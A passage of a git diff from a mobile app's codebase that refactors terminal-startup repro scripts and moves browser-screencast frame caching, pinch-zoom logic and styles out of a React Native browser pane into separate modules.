-    const base = snapshot.label.replace(/[^a-z0-9_-]/gi, '-')
-    writeFileSync(join(dir, `${base}.ansi`), snapshot.serialized || snapshot.lines)
-    writeFileSync(
-      join(dir, `${base}.escaped.txt`),
-      JSON.stringify(snapshot.serialized || snapshot.lines)
-    )
-  }
-  writeFileSync(join(dir, 'summary.json'), JSON.stringify(snapshots.map(summarize), null, 2))
-  return dir
-}
-
 async function run(ws: WebSocket): Promise<void> {
   ws.send(
     JSON.stringify({
@@ -303,11 +258,14 @@ async function run(ws: WebSocket): Promise<void> {
   const firstB = await captureSnapshot(ws, 'b-during-switch', handleB)
   const secondA = await captureSnapshot(ws, 'a-after-switch', handleA)
   const snapshots = [firstA, firstB, secondA]
-  const dir = saveSnapshots(snapshots)
+  const dir = saveTerminalColorSnapshots(snapshots)
 
-  console.table(snapshots.map(summarize))
+  console.table(snapshots.map(summarizeTerminalColorSnapshot))
   console.log(`saved: ${dir}`)
-  if (summarize(firstA).sgrColor !== summarize(secondA).sgrColor) {
+  if (
+    summarizeTerminalColorSnapshot(firstA).sgrColor !==
+    summarizeTerminalColorSnapshot(secondA).sgrColor
+  ) {
     console.log(
       'color SGR count changed between A snapshots: serialization/state changed on desktop'
     )
diff --git a/mobile/scripts/repro-worktree-startup-output.ts b/mobile/scripts/repro-worktree-startup-output.ts
new file mode 100644
index 00000000000..83e127a3fa6
--- /dev/null
+++ b/mobile/scripts/repro-worktree-startup-output.ts
@@ -0,0 +1,75 @@
+import { mkdirSync, writeFileSync } from 'node:fs'
+import { join } from 'node:path'
+
+const ESC = String.fromCharCode(27)
+
+export type StartupTerminalCapture = {
+  handle: string
+  title: string | null
+  scrollback: Record<string, unknown> | null
+  chunks: string[]
+}
+
+function stripAnsi(value: string): string {
+  return (
+    value
+      // eslint-disable-next-line no-control-regex -- intentional terminal escape stripping for repro summaries
+      .replace(/\u001b\][^\u0007]*(?:\u0007|\u001b\\)/g, '')
+      // eslint-disable-next-line no-control-regex -- intentional terminal escape stripping for repro summaries
+      .replace(/\u001b\[[0-?]*[ -/]*[@-~]/g, '')
+      .replace(/\r/g, '\n')
+  )
+}
+
+function normalizePreview(value: string): string {
+  return stripAnsi(value)
+    .split('\n')
+    .map((line) => line.trim())
+    .filter(Boolean)
+    .slice(0, 8)
+    .join('\n')
+}
+
+export function summarizeStartupCapture(capture: StartupTerminalCapture): Record<string, unknown> {
+  const serialized =
+    typeof capture.scrollback?.serialized === 'string' ? capture.scrollback.serialized : ''
+  const live = capture.chunks.join('')
+  const serializedPreview = normalizePreview(serialized)
+  const livePreview = normalizePreview(live)
+  return {
+    handle: capture.handle,
+    title: capture.title,
+    cols: capture.scrollback?.cols ?? null,
+    rows: capture.scrollback?.rows ?? null,
+    serializedBytes: Buffer.byteLength(serialized),
+    liveBytes: Buffer.byteLength(live),
+    liveChunks: capture.chunks.length,
+    serializedSgr: (serialized.match(new RegExp(`${ESC}\\[[0-9;:]*m`, 'g')) ?? []).length,
+    liveSgr: (live.match(new RegExp(`${ESC}\\[[0-9;:]*m`, 'g')) ?? []).length,
+    livePreviewContainedInSerialized:
+      livePreview.length > 0 && stripAnsi(serialized).includes(livePreview.split('\n')[0] ?? ''),
+    serializedPreview,
+    livePreview
+  }
+}
+
+export function saveStartupCaptures(
+  captures: StartupTerminalCapture[],
+  worktreeName: string
+): string {
+  const dir = join(process.cwd(), 'terminal-startup-repro', worktreeName)
+  mkdirSync(dir, { recursive: true })
+  for (const capture of captures) {
+    const base = capture.handle.replace(/[^a-z0-9_-]/gi, '-')
+    const serialized =
+      typeof capture.scrollback?.serialized === 'string' ? capture.scrollback.serialized : ''
+    writeFileSync(join(dir, `${base}.serialized.ansi`), serialized)
+    writeFileSync(join(dir, `${base}.live.ansi`), capture.chunks.join(''))
+    writeFileSync(join(dir, `${base}.json`), JSON.stringify(capture, null, 2))
+  }
+  writeFileSync(
+    join(dir, 'summary.json'),
+    JSON.stringify(captures.map(summarizeStartupCapture), null, 2)
+  )
+  return dir
+}
diff --git a/mobile/scripts/repro-worktree-startup-stream.ts b/mobile/scripts/repro-worktree-startup-stream.ts
index e4db6182f00..f3bbdc0d5d0 100644
--- a/mobile/scripts/repro-worktree-startup-stream.ts
+++ b/mobile/scripts/repro-worktree-startup-stream.ts
@@ -4,10 +4,15 @@
  * Usage:
  *   pnpm exec tsx mobile/scripts/repro-worktree-startup-stream.ts <repoSelector> <worktreeName> [startupCommand]
  */
-import { existsSync, mkdirSync, readFileSync, writeFileSync } from 'node:fs'
+import { existsSync, readFileSync } from 'node:fs'
 import { join } from 'node:path'
 import nacl from 'tweetnacl'
 import WebSocket from 'ws'
+import {
+  saveStartupCaptures,
+  summarizeStartupCapture,
+  type StartupTerminalCapture
+} from './repro-worktree-startup-output'
 
 const WS_URL = process.env.ORCA_MOBILE_WS_URL ?? 'ws://127.0.0.1:6768'
 const USER_DATA =
@@ -15,7 +20,6 @@ const USER_DATA =
 const repoSelector = process.argv[2]
 const worktreeName = process.argv[3]
 const startupCommand = process.argv[4] || 'claude'
-const ESC = String.fromCharCode(27)
 
 type RpcResponse = {
   id: string
@@ -36,13 +40,6 @@ type TerminalInfo = {
   title: string | null
 }
 
-type Capture = {
-  handle: string
-  title: string | null
-  scrollback: Record<string, unknown> | null
-  chunks: string[]
-}
-
 if (!repoSelector || !worktreeName) {
   console.error(
     'Usage: pnpm exec tsx mobile/scripts/repro-worktree-startup-stream.ts <repoSelector> <worktreeName> [startupCommand]'
@@ -141,26 +138,6 @@ function formatError(response: RpcResponse): string {
   return JSON.stringify(response.error ?? response.result ?? response).slice(0, 1000)
 }
 
-function stripAnsi(value: string): string {
-  return (
-    value
-      // eslint-disable-next-line no-control-regex -- intentional terminal escape stripping for repro summaries
-      .replace(/\u001b\][^\u0007]*(?:\u0007|\u001b\\)/g, '')
-      // eslint-disable-next-line no-control-regex -- intentional terminal escape stripping for repro summaries
-      .replace(/\u001b\[[0-?]*[ -/]*[@-~]/g, '')
-      .replace(/\r/g, '\n')
-  )
-}
-
-function normalizePreview(value: string): string {
-  return stripAnsi(value)
-    .split('\n')
-    .map((line) => line.trim())
-    .filter(Boolean)
-    .slice(0, 8)
-    .join('\n')
-}
-
 async function waitForTerminals(ws: WebSocket, worktreeId: string): Promise<TerminalInfo[]> {
   const deadline = Date.now() + 60_000
   while (Date.now() < deadline) {
@@ -185,7 +162,7 @@ async function waitForTerminals(ws: WebSocket, worktreeId: string): Promise<Term
   throw new Error('Timed out waiting for startup terminals')
 }
 
-async function subscribe(ws: WebSocket, capture: Capture): Promise<void> {
+async function subscribe(ws: WebSocket, capture: StartupTerminalCapture): Promise<void> {
   const id = nextId()
   streamListeners.set(id, (result) => {
     if (result.type === 'scrollback') {
@@ -204,44 +181,6 @@ async function subscribe(ws: WebSocket, capture: Capture): Promise<void> {
   })
 }
 
-function summarize(capture: Capture): Record<string, unknown> {
-  const serialized =
-    typeof capture.scrollback?.serialized === 'string' ? capture.scrollback.serialized : ''
-  const live = capture.chunks.join('')
-  const serializedPreview = normalizePreview(serialized)
-  const livePreview = normalizePreview(live)
-  return {
-    handle: capture.handle,
-    title: capture.title,
-    cols: capture.scrollback?.cols ?? null,
-    rows: capture.scrollback?.rows ?? null,
-    serializedBytes: Buffer.byteLength(serialized),
-    liveBytes: Buffer.byteLength(live),
-    liveChunks: capture.chunks.length,
-    serializedSgr: (serialized.match(new RegExp(`${ESC}\\[[0-9;:]*m`, 'g')) ?? []).length,
-    liveSgr: (live.match(new RegExp(`${ESC}\\[[0-9;:]*m`, 'g')) ?? []).length,
-    livePreviewContainedInSerialized:
-      livePreview.length > 0 && stripAnsi(serialized).includes(livePreview.split('\n')[0] ?? ''),
-    serializedPreview,
-    livePreview
-  }
-}
-
-function save(captures: Capture[], worktreeName: string): string {
-  const dir = join(process.cwd(), 'terminal-startup-repro', worktreeName)
-  mkdirSync(dir, { recursive: true })
-  for (const capture of captures) {
-    const base = capture.handle.replace(/[^a-z0-9_-]/gi, '-')
-    const serialized =
-      typeof capture.scrollback?.serialized === 'string' ? capture.scrollback.serialized : ''
-    writeFileSync(join(dir, `${base}.serialized.ansi`), serialized)
-    writeFileSync(join(dir, `${base}.live.ansi`), capture.chunks.join(''))
-    writeFileSync(join(dir, `${base}.json`), JSON.stringify(capture, null, 2))
-  }
-  writeFileSync(join(dir, 'summary.json'), JSON.stringify(captures.map(summarize), null, 2))
-  return dir
-}
-
 async function run(ws: WebSocket): Promise<void> {
   ws.send(
     JSON.stringify({
@@ -312,8 +251,8 @@ async function run(ws: WebSocket): Promise<void> {
   for (const capture of captures) {
     await send(ws, 'terminal.unsubscribe', { subscriptionId: capture.handle }).catch(() => null)
   }
-  const dir = save(captures, worktreeName)
-  console.table(captures.map(summarize))
+  const dir = saveStartupCaptures(captures, worktreeName)
+  console.table(captures.map(summarizeStartupCapture))
   console.log(`saved: ${dir}`)
 }
 
diff --git a/mobile/src/browser/MobileBrowserPane.tsx b/mobile/src/browser/MobileBrowserPane.tsx
index 6397f69c549..f823f309630 100644
--- a/mobile/src/browser/MobileBrowserPane.tsx
+++ b/mobile/src/browser/MobileBrowserPane.tsx
@@ -1,7 +1,4 @@
 /* oxlint-disable react-doctor/no-adjust-state-on-prop-change -- Why: mobile browser state mirrors a remote desktop screencast session and CDP dialogs, which are external systems that cannot be derived during render. */
-// Why: import from 'buffer' (the npm polyfill), not 'node:buffer' — Metro
-// can't resolve Node's builtin in a React Native bundle.
-import { Buffer } from 'buffer'
 import { useCallback, useEffect, useLayoutEffect, useMemo, useRef, useState } from 'react'
 import {
   ActivityIndicator,
@@ -10,7 +7,6 @@ import {
   PanResponder,
   PixelRatio,
   Pressable,
-  StyleSheet,
   Text,
   TextInput,
   View,
@@ -24,7 +20,7 @@ import type {
   BrowserScreencastFrame,
   BrowserScreencastFrameMetadata
 } from '../transport/browser-screencast-protocol'
-import { colors, radii, spacing, typography } from '../theme/mobile-theme'
+import { colors } from '../theme/mobile-theme'
 import {
   MOBILE_BROWSER_FRAME_MIN_INTERVAL_MS,
   buildMobileBrowserScreencastRequest,
@@ -47,11 +43,32 @@ import {
   computeBrowserTouchClickRadiusCss,
   mapScreenToBrowserPoint,
   readLocalTouchPoint,
-  type BrowserFrameGeometry,
   type BrowserPoint,
   type BrowserTouchLayout,
   type BrowserZoomState
 } from './browser-touch-geometry'
+import {
+  MAX_ZOOM,
+  MIN_ZOOM,
+  assertRpcOk,
+  browserErrorMessage,
+  browserFrameMetadataEqual,
+  buttonColor,
+  cacheBrowserFrame,
+  clearCachedBrowserFramesForWorktree,
+  createBrowserFrameDataUri,
+  createPinchGesture,
+  getCachedBrowserFrame,
+  makeBrowserFrameCacheKey,
+  peekCachedBrowserFrame,
+  shouldSurfaceBrowserError,
+  updateBrowserImageSource,
+  updateBrowserLayerVisibility,
+  updatePinchZoom,
+  type FrameLayer,
+  type PinchGesture
+} from './mobile-browser-frame-state'
+import { mobileBrowserPaneStyles as styles } from './mobile-browser-pane-styles'
 import { displayBrowserUrl, normalizeBrowserUrl } from './browser-url'
 import { MobileBrowserAddressField } from './MobileBrowserAddressField'
 import { resolveMobileBrowserAddressSync } from './mobile-browser-address-sync'
@@ -79,15 +96,6 @@ type MobileBrowserPaneProps = {
   onToast: (message: string, durationMs?: number) => void
 }
 
-type FrameLayer = 0 | 1
-
-type PinchGesture = {
-  distance: number
-  scale: number
-  anchorX: number
-  anchorY: number
-}
-
 type PanGesture = {
   x: number
   y: number
@@ -105,17 +113,7 @@ const SCROLL_START_SLOP = 22
 const LONG_PRESS_MS = 550
 const WHEEL_INTERVAL_MS = 70
 const TOUCH_CLICK_RADIUS_DIP = 14
-const MIN_ZOOM = 1
-const MAX_ZOOM = 3.5
 const DEFAULT_ZOOM: BrowserZoomState = { scale: 1, offsetX: 0, offsetY: 0 }
-const BROWSER_FRAME_CACHE_LIMIT = 4
-
-type BrowserFrameCacheEntry = {
-  uri: string
-  metadata: BrowserScreencastFrameMetadata
-}
-
-const browserFrameCache = new Map<string, BrowserFrameCacheEntry>()
 
 type BrowserPageParams = {
   worktree: string
@@ -1268,350 +1266,3 @@ export function MobileBrowserPane({
     </View>
   )
 }
-
-function buttonColor(enabled: boolean): string {
-  return enabled ? colors.textSecondary : colors.textMuted
-}
-
-function createBrowserFrameDataUri(frame: BrowserScreencastFrame): string {
-  return `data:image/${frame.format};base64,${Buffer.from(frame.image).toString('base64')}`
-}
-
-function makeBrowserFrameCacheKey(
-  worktreeId: string,
-  browserPageId: string | null,
-  viewMode: MobileBrowserViewMode
-): string | null {
-  return browserPageId ? `${worktreeId}:${browserPageId}:${viewMode}` : null
-}
-
-function clearCachedBrowserFramesForWorktree(worktreeId: string): void {
-  const prefix = `${worktreeId}:`
-  for (const key of browserFrameCache.keys()) {
-    if (key.startsWith(prefix)) {
-      browserFrameCache.delete(key)
-    }
-  }
-}
-
-function getCachedBrowserFrame(cacheKey: string | null): BrowserFrameCacheEntry | null {
-  if (!cacheKey) {
-    return null
-  }
-  const cached = browserFrameCache.get(cacheKey)
-  if (!cached) {
-    return null
-  }
-  browserFrameCache.delete(cacheKey)
-  browserFrameCache.set(cacheKey, cached)
-  return cached
-}
-
-function peekCachedBrowserFrame(cacheKey: string | null): BrowserFrameCacheEntry | null {
-  return cacheKey ? (browserFrameCache.get(cacheKey) ?? null) : null
-}
-
-function cacheBrowserFrame(cacheKey: string | null, entry: BrowserFrameCacheEntry): void {
-  if (!cacheKey) {
-    return
-  }
-  browserFrameCache.delete(cacheKey)
-  browserFrameCache.set(cacheKey, entry)
-  while (browserFrameCache.size > BROWSER_FRAME_CACHE_LIMIT) {
-    const oldestKey = browserFrameCache.keys().next().value
-    if (typeof oldestKey !== 'string') {
-      break
-    }
-    browserFrameCache.delete(oldestKey)
-  }
-}
-
-function updateBrowserLayerVisibility(
-  layers: [View | null, View | null],
-  visible: FrameLayer
-): void {
-  for (const [index, layer] of layers.entries()) {
-    layer?.setNativeProps({ style: { opacity: index === visible ? 1 : 0 } })
-  }
-}
-
-function updateBrowserImageSource(image: Image | null, uri: string): void {
-  // Why: browser frames are large strings; mutating only the native Image
-  // source avoids re-rendering the whole tab view for every streamed frame.
-  const source = [{ uri }]
-  image?.setNativeProps({ source, src: source })
-}
-
-function assertRpcOk(
-  response: RpcSuccess | RpcFailure,
-  fallbackMessage: string
-): asserts response is RpcSuccess {
-  if (!response.ok) {
-    throw new Error(response.error.message || fallbackMessage)
-  }
-}
-
-function browserFrameMetadataEqual(
-  a: BrowserScreencastFrameMetadata | null,
-  b: BrowserScreencastFrameMetadata
-): boolean {
-  return (
-    a?.deviceWidth === b.deviceWidth &&
-    a?.deviceHeight === b.deviceHeight &&
-    a?.pageScaleFactor === b.pageScaleFactor
-  )
-}
-
-function browserErrorMessage(error: unknown, fallback: string): string {
-  return error instanceof Error && error.message ? error.message : fallback
-}
-
-function shouldSurfaceBrowserError(message: string): boolean {
-  const normalized = message.toLowerCase()
-  // Why: selector_not_found can be emitted by in-flight page automation while
-  // the browser is still usable; replacing the frame with it feels like a crash.
-  return !normalized.includes('selector_not_found') && !normalized.includes('selector not found')
-}
-
-function touchPair(event: GestureResponderEvent): { a: BrowserPoint; b: BrowserPoint } | null {
-  const touches = event.nativeEvent.touches
-  if (!touches || touches.length < 2) {
-    return null
-  }
-  const a = readLocalTouchPoint(touches[0])
-  const b = readLocalTouchPoint(touches[1])
-  return a && b ? { a, b } : null
-}
-
-function pointDistance(a: BrowserPoint, b: BrowserPoint): number {
-  return Math.hypot(a.x - b.x, a.y - b.y)
-}
-
-function createPinchGesture(
-  event: GestureResponderEvent,
-  geometry: BrowserFrameGeometry | null,
-  zoom: BrowserZoomState
-): PinchGesture | null {
-  if (!geometry) {
-    return null
-  }
-  const pair = touchPair(event)
-  if (!pair) {
-    return null
-  }
-  const distance = pointDistance(pair.a, pair.b)
-  if (distance < 8) {
-    return null
-  }
-  const centerX = (pair.a.x + pair.b.x) / 2
-  const centerY = (pair.a.y + pair.b.y) / 2
-  const frameCenterX = geometry.offsetX + geometry.renderedWidth / 2 + zoom.offsetX
-  const frameCenterY = geometry.offsetY + geometry.renderedHeight / 2 + zoom.offsetY
-  return {
-    distance,
-    scale: zoom.scale,
-    anchorX: (centerX - frameCenterX) / zoom.scale,
-    anchorY: (centerY - frameCenterY) / zoom.scale
-  }
-}
-
-function updatePinchZoom(
-  event: GestureResponderEvent,
-  geometry: BrowserFrameGeometry | null,
-  pinch: PinchGesture
-): BrowserZoomState | null {
-  if (!geometry) {
-    return null
-  }
-  const pair = touchPair(event)
-  if (!pair) {
-    return null
-  }
-  const nextScale = Math.min(
-    MAX_ZOOM,
-    Math.max(MIN_ZOOM, (pinch.scale * pointDistance(pair.a, pair.b)) / pinch.distance)
-  )
-  const centerX = (pair.a.x + pair.b.x) / 2
-  const centerY = (pair.a.y + pair.b.y) / 2
-  const baseCenterX = geometry.offsetX + geometry.renderedWidth / 2
-  const baseCenterY = geometry.offsetY + geometry.renderedHeight / 2
-  return clampBrowserZoomState(
-    {
-      scale: nextScale,
-      offsetX: centerX - baseCenterX - pinch.anchorX * nextScale,
-      offsetY: centerY - baseCenterY - pinch.anchorY * nextScale
-    },
-    geometry,
-    MIN_ZOOM,
-    MAX_ZOOM
-  )
-}
-
-const styles = StyleSheet.create({
-  root: {
-    flex: 1,
-    minHeight: 0,
-    backgroundColor: colors.bgBase
-  },
-  toolbar: {
-    minHeight: 32,
-    flexDirection: 'row',
-    alignItems: 'center',
-    gap: spacing.xs,
-    paddingHorizontal: spacing.sm,
-    paddingVertical: 2,
-    borderBottomWidth: 1,
-    borderBottomColor: colors.borderSubtle,
-    backgroundColor: colors.bgPanel
-  },
-  viewport: {
-    flex: 1,
-    minHeight: 0,
-    overflow: 'hidden',
-    backgroundColor: colors.bgBase
-  },
-  browserImageHost: {
-    ...StyleSheet.absoluteFillObject,
-    alignItems: 'center',
-    justifyContent: 'center',
-    overflow: 'hidden'
-  },
-  browserImageFill: {
-    width: '100%',
-    height: '100%'
-  },
-  browserImageLayer: {
-    ...StyleSheet.absoluteFillObject,
-    alignItems: 'center',
-    justifyContent: 'center'
-  },
-  browserImageLayerHidden: {
-    opacity: 0
-  },
-  browserZoomOffset: {
-    alignItems: 'center',
-    justifyContent: 'center'
-  },
-  browserFrameBox: {
-    alignItems: 'center',
-    justifyContent: 'center',
-    overflow: 'hidden'
-  },
-  browserImage: {
-    backgroundColor: colors.bgBase
-  },
-  overlay: {
-    ...StyleSheet.absoluteFillObject,
-    alignItems: 'center',
-    justifyContent: 'center',
-    padding: spacing.xl,
-    gap: spacing.sm,
-    backgroundColor: 'rgba(13, 15, 24, 0.2)'
-  },
-  errorText: {
-    color: colors.textPrimary,
-    backgroundColor: colors.bgPanel,
-    borderWidth: 1,
-    borderColor: colors.borderSubtle,
-    borderRadius: radii.button,
-    paddingHorizontal: spacing.md,
-    paddingVertical: spacing.sm,
-    fontSize: 13,
-    textAlign: 'center',
-    overflow: 'hidden'
-  },
-  dialogOverlay: {
-    ...StyleSheet.absoluteFillObject,
-    zIndex: 30,
-    alignItems: 'center',
-    justifyContent: 'center',
-    padding: spacing.xl,
-    backgroundColor: 'rgba(13, 15, 24, 0.5)'
-  },
-  dialogCard: {
-    width: '100%',
-    maxWidth: 360,
-    borderRadius: radii.card,
-    borderWidth: 1,
-    borderColor: colors.borderSubtle,
-    backgroundColor: colors.bgPanel,
-    padding: spacing.lg
-  },
-  dialogTitle: {
-    color: colors.textPrimary,
-    fontSize: 16,
-    fontWeight: '600'
-  },
-  dialogMessage: {
-    color: colors.textSecondary,
-    fontSize: typography.bodySize,
-    lineHeight: 20,
-    marginTop: spacing.sm
-  },
-  dialogActions: {
-    flexDirection: 'row',
-    justifyContent: 'flex-end',
-    gap: spacing.sm,
-    marginTop: spacing.lg
-  },
-  dialogButton: {
-    minHeight: 34,
-    borderRadius: radii.button,
-    backgroundColor: colors.bgRaised,
-    paddingHorizontal: spacing.md,
-    alignItems: 'center',
-    justifyContent: 'center'
-  },
-  dialogButtonPrimary: {
-    backgroundColor: colors.textPrimary
-  },
-  dialogButtonPressed: {
-    opacity: 0.75
-  },
-  dialogButtonText: {
-    color: colors.textSecondary,
-    fontSize: typography.bodySize,
-    fontWeight: '600'
-  },
-  dialogButtonPrimaryText: {
-    color: colors.bgBase
-  },
-  keyboardDock: {
-    zIndex: 20,
-    borderTopWidth: 1,
-    borderTopColor: colors.borderSubtle,
-    backgroundColor: colors.bgPanel
-  },
-  inputRow: {
-    flexDirection: 'row',
-    alignItems: 'center',
-    paddingHorizontal: spacing.md,
-    paddingTop: spacing.xs,
-    paddingBottom: spacing.xs + 2
-  },
-  keyboardInput: {
-    flex: 1,
-    height: 34,
-    backgroundColor: colors.bgRaised,
-    color: colors.textPrimary,
-    borderRadius: radii.input,
-    paddingHorizontal: spacing.md,
-    fontSize: 14,
-    fontFamily: typography.monoFamily,
-    marginRight: spacing.sm
-  },
-  sendButton: {
-    width: 34,
-    height: 34,
-    borderRadius: 17,
-    alignItems: 'center',
-    justifyContent: 'center',
-    backgroundColor: colors.bgRaised
-  },
-  disabled: {
-    opacity: 0.35
-  },
-  disabledText: {
-    color: colors.textMuted
-  }
-})
diff --git a/mobile/src/browser/mobile-browser-frame-state.ts b/mobile/src/browser/mobile-browser-frame-state.ts
new file mode 100644
index 00000000000..9609c2ffda4
--- /dev/null
+++ b/mobile/src/browser/mobile-browser-frame-state.ts
@@ -0,0 +1,210 @@
+import { Buffer } from 'buffer'
+import type { GestureResponderEvent, Image, View } from 'react-native'
+import type { RpcFailure, RpcSuccess } from '../transport/types'
+import type {
+  BrowserScreencastFrame,
+  BrowserScreencastFrameMetadata
+} from '../transport/browser-screencast-protocol'
+import { colors } from '../theme/mobile-theme'
+import {
+  clampBrowserZoomState,
+  readLocalTouchPoint,
+  type BrowserFrameGeometry,
+  type BrowserPoint,
+  type BrowserZoomState
+} from './browser-touch-geometry'
+import type { MobileBrowserViewMode } from './browser-screencast-request'
+
+export type FrameLayer = 0 | 1
+export type PinchGesture = {
+  distance: number
+  scale: number
+  anchorX: number
+  anchorY: number
+}
+export type BrowserFrameCacheEntry = {
+  uri: string
+  metadata: BrowserScreencastFrameMetadata
+}
+export const MIN_ZOOM = 1
+export const MAX_ZOOM = 3.5
+const BROWSER_FRAME_CACHE_LIMIT = 4
+const browserFrameCache = new Map<string, BrowserFrameCacheEntry>()
+
+export function buttonColor(enabled: boolean): string {
+  return enabled ? colors.textSecondary : colors.textMuted
+}
+
+export function createBrowserFrameDataUri(frame: BrowserScreencastFrame): string {
+  return `data:image/${frame.format};base64,${Buffer.from(frame.image).toString('base64')}`
+}
+
+export function makeBrowserFrameCacheKey(
+  worktreeId: string,
+  browserPageId: string | null,
+  viewMode: MobileBrowserViewMode
+): string | null {
+  return browserPageId ? `${worktreeId}:${browserPageId}:${viewMode}` : null
+}
+
+export function clearCachedBrowserFramesForWorktree(worktreeId: string): void {
+  const prefix = `${worktreeId}:`
+  for (const key of browserFrameCache.keys()) {
+    if (key.startsWith(prefix)) {
+      browserFrameCache.delete(key)
+    }
+  }
+}
+
+export function getCachedBrowserFrame(cacheKey: string | null): BrowserFrameCacheEntry | null {
+  if (!cacheKey) {
+    return null
+  }
+  const cached = browserFrameCache.get(cacheKey)
+  if (!cached) {
+    return null
+  }
+  browserFrameCache.delete(cacheKey)
+  browserFrameCache.set(cacheKey, cached)
+  return cached
+}
+
+export function peekCachedBrowserFrame(cacheKey: string | null): BrowserFrameCacheEntry | null {
+  return cacheKey ? (browserFrameCache.get(cacheKey) ?? null) : null
+}
+
+export function cacheBrowserFrame(cacheKey: string | null, entry: BrowserFrameCacheEntry): void {
+  if (!cacheKey) {
+    return
+  }
+  browserFrameCache.delete(cacheKey)
+  browserFrameCache.set(cacheKey, entry)
+  while (browserFrameCache.size > BROWSER_FRAME_CACHE_LIMIT) {
+    const oldestKey = browserFrameCache.keys().next().value
+    if (typeof oldestKey !== 'string') {
+      break
+    }
+    browserFrameCache.delete(oldestKey)
+  }
+}
+
+export function updateBrowserLayerVisibility(
+  layers: [View | null, View | null],
+  visible: FrameLayer
+): void {
+  for (const [index, layer] of layers.entries()) {
+    layer?.setNativeProps({ style: { opacity: index === visible ? 1 : 0 } })
+  }
+}
+
+export function updateBrowserImageSource(image: Image | null, uri: string): void {
+  // Why: browser frames are large strings; mutating only the native Image
+  // source avoids re-rendering the whole tab view for every streamed frame.
+  const source = [{ uri }]
+  image?.setNativeProps({ source, src: source })
+}
+
+export function assertRpcOk(
+  response: RpcSuccess | RpcFailure,
+  fallbackMessage: string
+): asserts response is RpcSuccess {
+  if (!response.ok) {
+    throw new Error(response.error.message || fallbackMessage)
+  }
+}
+
+export function browserFrameMetadataEqual(
+  a: BrowserScreencastFrameMetadata | null,
+  b: BrowserScreencastFrameMetadata
+): boolean {
+  return (
+    a?.deviceWidth === b.deviceWidth &&
+    a?.deviceHeight === b.deviceHeight &&
+    a?.pageScaleFactor === b.pageScaleFactor
+  )
+}
+
+export function browserErrorMessage(error: unknown, fallback: string): string {
+  return error instanceof Error && error.message ? error.message : fallback
+}
+
+export function shouldSurfaceBrowserError(message: string): boolean {
+  const normalized = message.toLowerCase()
+  // Why: selector_not_found can be emitted by in-flight page automation while
+  // the browser is still usable; replacing the frame with it feels like a crash.
+  return !normalized.includes('selector_not_found') && !normalized.includes('selector not found')
+}
+
+function touchPair(event: GestureResponderEvent): { a: BrowserPoint; b: BrowserPoint } | null {
+  const touches = event.nativeEvent.touches
+  if (!touches || touches.length < 2) {
+    return null
+  }
+  const a = readLocalTouchPoint(touches[0])
+  const b = readLocalTouchPoint(touches[1])
+  return a && b ? { a, b } : null
+}
+
+function pointDistance(a: BrowserPoint, b: BrowserPoint): number {
+  return Math.hypot(a.x - b.x, a.y - b.y)
+}
+
+export function createPinchGesture(
+  event: GestureResponderEvent,
+  geometry: BrowserFrameGeometry | null,
+  zoom: BrowserZoomState
+): PinchGesture | null {
+  if (!geometry) {
+    return null
+  }
+  const pair = touchPair(event)
+  if (!pair) {
+    return null
+  }
+  const distance = pointDistance(pair.a, pair.b)
+  if (distance < 8) {
+    return null
+  }
+  const centerX = (pair.a.x + pair.b.x) / 2
+  const centerY = (pair.a.y + pair.b.y) / 2
+  const frameCenterX = geometry.offsetX + geometry.renderedWidth / 2 + zoom.offsetX
+  const frameCenterY = geometry.offsetY + geometry.renderedHeight / 2 + zoom.offsetY
+  return {
+    distance,
+    scale: zoom.scale,
+    anchorX: (centerX - frameCenterX) / zoom.scale,
+    anchorY: (centerY - frameCenterY) / zoom.scale
+  }
+}
+
+export function updatePinchZoom(
+  event: GestureResponderEvent,
+  geometry: BrowserFrameGeometry | null,
+  pinch: PinchGesture
+): BrowserZoomState | null {
+  if (!geometry) {
+    return null
+  }
+  const pair = touchPair(event)
+  if (!pair) {
+    return null
+  }
+  const nextScale = Math.min(
+    MAX_ZOOM,
+    Math.max(MIN_ZOOM, (pinch.scale * pointDistance(pair.a, pair.b)) / pinch.distance)
+  )
+  const centerX = (pair.a.x + pair.b.x) / 2
+  const centerY = (pair.a.y + pair.b.y) / 2
+  const baseCenterX = geometry.offsetX + geometry.renderedWidth / 2
+  const baseCenterY = geometry.offsetY + geometry.renderedHeight / 2
+  return clampBrowserZoomState(
+    {
+      scale: nextScale,
+      offsetX: centerX - baseCenterX - pinch.anchorX * nextScale,
+      offsetY: centerY - baseCenterY - pinch.anchorY * nextScale
+    },
+    geometry,
+    MIN_ZOOM,
+    MAX_ZOOM
+  )
+}
diff --git a/mobile/src/browser/mobile-browser-pane-styles.ts b/mobile/src/browser/mobile-browser-pane-styles.ts
new file mode 100644
index 00000000000..b41428516ba
--- /dev/null
+++ b/mobile/src/browser/mobile-browser-pane-styles.ts
@@ -0,0 +1,171 @@
+import { StyleSheet } from 'react-native'
+import { colors, radii, spacing, typography } from '../theme/mobile-theme'
+
+export const mobileBrowserPaneStyles = StyleSheet.create({
+  root: {
+    flex: 1,
+    minHeight: 0,
+    backgroundColor: colors.bgBase
+  },
+  toolbar: {
+    minHeight: 32,
+    flexDirection: 'row',
+    alignItems: 'center',
+    gap: spacing.xs,
+    paddingHorizontal: spacing.sm,
+    paddingVertical: 2,
+    borderBottomWidth: 1,
+    borderBottomColor: colors.borderSubtle,
+    backgroundColor: colors.bgPanel
+  },
+  viewport: {
+    flex: 1,
+    minHeight: 0,
+    overflow: 'hidden',
+    backgroundColor: colors.bgBase
+  },
+  browserImageHost: {
+    ...StyleSheet.absoluteFillObject,
+    alignItems: 'center',
+    justifyContent: 'center',
+    overflow: 'hidden'
+  },
+  browserImageFill: {
+    width: '100%',
+    height: '100%'
+  },
+  browserImageLayer: {
+    ...StyleSheet.absoluteFillObject,
+    alignItems: 'center',
+    justifyContent: 'center'
+  },
+  browserImageLayerHidden: {
+    opacity: 0
+  },
+  browserZoomOffset: {
+    alignItems: 'center',
+    justifyContent: 'center'
+  },
+  browserFrameBox: {
+    alignItems: 'center',
+    justifyContent: 'center',
+    overflow: 'hidden'
+  },
+  browserImage: {
+    backgroundColor: colors.bgBase
+  },
+  overlay: {
+    ...StyleSheet.absoluteFillObject,
+    alignItems: 'center',
+    justifyContent: 'center',
+    padding: spacing.xl,
+    gap: spacing.sm,
+    backgroundColor: 'rgba(13, 15, 24, 0.2)'
+  },
+  errorText: {
+    color: colors.textPrimary,
+    backgroundColor: colors.bgPanel,
+    borderWidth: 1,
+    borderColor: colors.borderSubtle,
+    borderRadius: radii.button,
+    paddingHorizontal: spacing.md,
+    paddingVertical: spacing.sm,
+    fontSize: 13,
+    textAlign: 'center',
+    overflow: 'hidden'
+  },
+  dialogOverlay: {
